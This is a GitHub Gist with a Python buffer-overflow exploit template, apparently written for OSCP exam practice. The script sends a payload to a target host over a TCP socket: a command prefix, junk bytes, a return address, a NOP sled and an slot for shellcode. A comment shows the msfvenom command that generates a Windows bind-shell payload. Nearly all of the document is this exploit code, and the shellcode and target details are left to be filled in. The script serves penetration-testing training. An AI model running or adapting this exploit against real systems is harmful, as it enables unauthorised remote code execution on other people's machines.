Created
October 16, 2021 22:56
-
-
Save p4p1/1ab9b63925cfe860e8634f75243d32ef to your computer and use it in GitHub Desktop.
🎉🎉🎉🎉
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# Made by papi | |
# Created on: Sat 21 Aug 2021 10:59:32 PM BST | |
# bof_template.py | |
# Description: | |
# Buffer Overflow template exploit used for OSCP and other | |
# exams. | |
# Usage: | |
# Edit this script so that it works with your platform | |
# I have commented where to be edited around the file with | |
# the [EDIT] tag | |
# Useful Info: | |
# msfvenom -p windows/shell_bind_tcp LPORT=1234 -f py -b "[badchars]" EXITFUNC=thread | |
import sys, socket | |
if len(sys.argv) < 2: | |
#print "\nUsage: " + sys.argv[0] + " <HOST>\n" # Python 2 support | |
print("\nUsage: " + sys.argv[0] + " <HOST>\n") | |
sys.exit() | |
PORT = 1234 # [EDIT] with apropriate port | |
cmd = "CONECT " # [EDIT] with cmdlet or remove if not needed | |
junk = "\x41" * 1234 # [EDIT] the length with the number needed | |
#addr = "\x00\x00\x00\x00" # [EDIT] Change to the address of the exploit | |
addr = "ABCD" | |
NOP_SLED = "\x90" * 32 | |
buf = b"" # [EDIT] with msfvenom payload | |
end = "\r\n" | |
buffer = cmd + junk +addr + NOP_SLED + buf + end | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((sys.argv[1], PORT)) | |
s.send(buffer) | |
s.recv(1024) | |
s.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment